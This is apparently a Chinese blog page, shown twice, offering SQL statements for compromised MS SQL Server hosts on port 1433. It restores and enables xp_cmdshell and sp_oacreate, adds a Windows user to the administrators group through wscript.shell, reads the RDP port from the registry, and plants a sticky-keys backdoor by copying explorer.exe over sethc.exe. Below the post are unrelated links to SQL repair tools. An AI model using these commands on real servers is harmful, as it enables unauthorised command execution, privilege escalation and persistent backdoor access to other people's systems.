`
wsql
  • 浏览: 11794480 次
  • 性别: Icon_minigender_1
  • 来自: 深圳
文章分类
社区版块
存档分类
最新评论

超全1433的SQL语句修复

 
阅读更多

超全1433的SQL语句修复



  无需登录分离器,利用SQL命令直接恢复xp_cmdshell

  恢复命令:

  
dbcc addextendedproc ("sp_oacreate","odsole70.dll")

  dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

  未能找到存储过程'master..xpcmdshell'之解决方法,恢复命令:

  EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int

  sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

  恢复odsole70.dll:

  exec sp_addextendedproc sp_OAMethod,'odsole70.dll'

  exec sp_addextendedproc sp_OACreate,'odsole70.dll'

  如果报“SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问

  解决方法:执行下面的语句


  -- To allow advanced options to be changed. EXEC sp_configure 'show advanced options', 1 GO -- To update the currently configured value for advanced options. RECONFIGURE GO -- To enable the feature. EXEC sp_configure 'xp_cmdshell', 1 GO -- To update the currently configured value for this feature. RECONFIGURE GO

  开启cmdshell的SQL语句

  
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

  判断存储扩展是否存在

  Select count(*) from master.dbo.sysobjects where xtype='X' and

  返回结果为1就OK

  恢复xp_cmdshell

  Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and

  返回结果为1就OK

  否则上传xplog7.0.dll

  Exec master.dbo.addextendedproc 'xp_cmdshell','C:/WinNt/System32/xplog70.dll'【c:/winnt/system32/xplog70.dll是文件路径,有些服务器的SQL并不是安装在C盘,需要用SQLTools查看】

  无法装载 DLL xpsql70.dll 或该DLL所引用的某一DLL。原因126(找不到指定模块。)

  第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int

  第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

  无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)

  恢复方法:查询分离器连接后,

  第一步执行:exec sp_dropextendedproc 'xp_cmdshell'

  第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'

  找不到存储过程 sp_addextendedproc

  create procedure sp_addextendedproc @functname nvarchar(517),/* (owner. name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as set implicit_transactions off if @@trancount > 0 begin raiserror(15002,-1,-1,'sp_addextendedproc') return (1) end dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc GO 【网上的代码是create procedure sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (owner. name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as set implicit_transactions off if @@trancount > 0 begin raiserror(15002,-1,-1,'sp_addextendedproc') return (1) end dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc GO 可是我发现是没用的,我把时间1996/08/30 20:13去掉就有用了】

  突破xplog70.dll建立用户

  declare @cmd INT

  exec sp_oacreate 'wscript.shell',@cmd output

  exec sp_oamethod @cmd,'run',null,'net user 用户名 密码 /add','0','true'

  declare @cmd INT

  exec sp_oacreate 'wscript.shell',@cmd output

  exec sp_oamethod @cmd,'run',null,'net localgroup administrators 用户名 /add','0','true'

  不想别人拿到服务器那就去除SA的xp_cmdshell权限

  use master

  sp_dropextendedproc 'xp_cmdshell'

  恢复sa的权限

  sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

  提示Error Message:xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行)先查看是否存在C盘下是否存在cmd.exe,SQL安装目录是否存在odsole70.dll这个文件,如果这2个都有那就有希望,此案用SQL命令查看终端端口及开放情况

  exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp','PortNumber' ①可以建立shift后门,2条指令

  //这条语句将explorer.exe复制为sethc.exe

  declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:/windows/explorer.exe','c:/windows/system32/sethc.exe';

  //这条语句将sethc.exe复制到dllcache目录下

  declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:/windows/system32/sethc.exe','c:/windows/system32/dllcache/sethc.exe';

超全1433的SQL语句修复

4小时前

  无需登录分离器,利用SQL命令直接恢复xp_cmdshell

  恢复命令:

  
dbcc addextendedproc ("sp_oacreate","odsole70.dll")

  dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

  未能找到存储过程'master..xpcmdshell'之解决方法,恢复命令:

  EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int

  sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

  恢复odsole70.dll:

  exec sp_addextendedproc sp_OAMethod,'odsole70.dll'

  exec sp_addextendedproc sp_OACreate,'odsole70.dll'

  如果报“SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问

  解决方法:执行下面的语句


  -- To allow advanced options to be changed. EXEC sp_configure 'show advanced options', 1 GO -- To update the currently configured value for advanced options. RECONFIGURE GO -- To enable the feature. EXEC sp_configure 'xp_cmdshell', 1 GO -- To update the currently configured value for this feature. RECONFIGURE GO

  开启cmdshell的SQL语句

  
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

  判断存储扩展是否存在

  Select count(*) from master.dbo.sysobjects where xtype='X' and

  返回结果为1就OK

  恢复xp_cmdshell

  Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and

  返回结果为1就OK

  否则上传xplog7.0.dll

  Exec master.dbo.addextendedproc 'xp_cmdshell','C:/WinNt/System32/xplog70.dll'【c:/winnt/system32/xplog70.dll是文件路径,有些服务器的SQL并不是安装在C盘,需要用SQLTools查看】

  无法装载 DLL xpsql70.dll 或该DLL所引用的某一DLL。原因126(找不到指定模块。)

  第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int

  第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

  无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)

  恢复方法:查询分离器连接后,

  第一步执行:exec sp_dropextendedproc 'xp_cmdshell'

  第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'

  找不到存储过程 sp_addextendedproc

  create procedure sp_addextendedproc @functname nvarchar(517),/* (owner. name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as set implicit_transactions off if @@trancount > 0 begin raiserror(15002,-1,-1,'sp_addextendedproc') return (1) end dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc GO 【网上的代码是create procedure sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (owner. name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as set implicit_transactions off if @@trancount > 0 begin raiserror(15002,-1,-1,'sp_addextendedproc') return (1) end dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc GO 可是我发现是没用的,我把时间1996/08/30 20:13去掉就有用了】

  突破xplog70.dll建立用户

  declare @cmd INT

  exec sp_oacreate 'wscript.shell',@cmd output

  exec sp_oamethod @cmd,'run',null,'net user 用户名 密码 /add','0','true'

  declare @cmd INT

  exec sp_oacreate 'wscript.shell',@cmd output

  exec sp_oamethod @cmd,'run',null,'net localgroup administrators 用户名 /add','0','true'

  不想别人拿到服务器那就去除SA的xp_cmdshell权限

  use master

  sp_dropextendedproc 'xp_cmdshell'

  恢复sa的权限

  sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

  提示Error Message:xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行)先查看是否存在C盘下是否存在cmd.exe,SQL安装目录是否存在odsole70.dll这个文件,如果这2个都有那就有希望,此案用SQL命令查看终端端口及开放情况

  exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp','PortNumber' ①可以建立shift后门,2条指令

  //这条语句将explorer.exe复制为sethc.exe

  declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:/windows/explorer.exe','c:/windows/system32/sethc.exe';

  //这条语句将sethc.exe复制到dllcache目录下

  declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:/windows/system32/sethc.exe','c:/windows/system32/dllcache/sethc.exe';

铁观音-厂家直销

分享到:
评论

相关推荐

    超简单SQL 数据库修复语句

    超简单SQL 数据库修复语句,不需要其他附带工具,只需在查询分析器中执行一下即可。

    sql2000数据库修复语句

    sql2000数据库修复语句,针对dbcc数据库错误

    用SQL语句完成SQL Server数据库的修复

    用SQL语句完成SQL Server数据库的修复

    SQL修复数据表语句

    SQL修复数据表语句 修复SQL server 一般性一致性错误语句

    超强数据库修复语句

    针对sql数据库常见故障sql语句修复陈程序。

    经典SQL语句大全

    10、说明:几个简单的基本的sql语句 选择:select * from table1 where 范围 插入:insert into table1(field1,field2) values(value1,value2) 删除:delete from table1 where 范围 更新:update table1 set field1...

    Sqlserver 数据库log检测修复工具,可以查询最近执行的sql语句,并撤回。 不小心删除或更新的数据也可以恢复回来。

    Sqlserver 数据库log检测修复工具,可以查询最近执行的sql语句,并撤回。 不小心删除或更新的数据也可以恢复回来。

    sqlserver数据库修复语句

    sqlserver数据库修复表和索引

    常用SQL 语句大全

    10、几个简单的基本的sql语句 11、几个高级查询运算词 12、使用外连接 13、分组:Group by: 14、对数据库进行操作: 15.如何修改数据库的名称: 第二部分、 提升 1、复制表 2、拷贝表 3、跨数据库之间表的...

    用SQL语句修复SQL Server数据库

     在ACCESS中,有个修复数据库的功能可以解决这个问题,在SQL企业管理器,没有这个功能,要用语句来完成,下面介绍如何用SQL语句完成数据库的修复,需要注意的是,在进行下面的操作时,必须断开所有用户的连接: ...

    狂龙Sql语句批量更新辅助工具v8.0

    【狂龙sql语句批量更新辅助工具v8.0】是一款应用于访问和处理数据库标准的计算机语言辅助工具,主要针对IN操作符在Where子句中多值辅助、And和Or运算符多条件记录过滤辅助等。除了应用于数据库层面,大家也可以扩展...

    三目修复语句.sql

    三目修复语句.sql

    sql server数据库置疑修复方法

    详细的数据库修复方法和步骤,除了SQL server 2000以外,还有SQL server 2005的修复方法,本人亲测有效!

    SQL Server数据库的修复SQL语句

    在ACCESS中,有个修复数据库的功能可以解决这个问题,在SQL企业管理器,没有这个功能,要用语句来完成,下面就介绍如何用SQL语句完成数据库的修复,需要注意的是,在进行下面的操作时,必须断开所有用户的连接: 代码如下...

    SQL置疑处理语句

    SQL置疑处理语句 进入数据库后点新建查询 输入语句 可以修复置疑的数据库

    KISAllInOne数据还原SQL语句

    KISAllInOne数据还原教程,用KISAllInOne 破解会删除您的数据,这里介绍了怎么恢复被删数据的SQL语句

    最新SQL数据库置疑修复语句.docx

    1.未分离置疑数据库的情况下,先停止SQL服务,备份好数据库原文件,再启动SQL服务 2.已分离置疑数据库的情况下,做以下操作 a.备份原数据库文件 b.新建同名的一个数据库 c.停止SQL服务,用原来的MDF文件替换,新建的...

    狂龙Sql语句批量更新辅助工具v7.5

    狂龙Sql语句批量更新辅助工具是一款应用于访问和处理数据库标准的计算机语言辅助工具,主要针对IN操作符在Where子句中多值辅助、And和Or运算符多条件记录过滤辅助等;除了应用于数据库层面,也可以扩展应用于其他...

    狂龙Sql语句批量更新辅助工具v7.0

    狂龙sql语句批量更新辅助工具是一款应用于访问和处理数据库标准的计算机语言辅助工具,主要针对IN操作符在Where子句中多值辅助、And和Or运算符多条件记录过滤辅助等。除了应用于数据库层面,大家也可以扩展思维应用...

    狂龙Sql语句批量更新辅助工具v6.0

    软件介绍:狂龙Sql语句批量更新辅助工具是一款应用于访问和处理数据库标准的计算机语言辅助工具,主要针对IN操作符在Where子句中多值辅助、And和Or运算符多条件记录过滤辅助等。除了应用于数据库层面,大家也可以...

Global site tag (gtag.js) - Google Analytics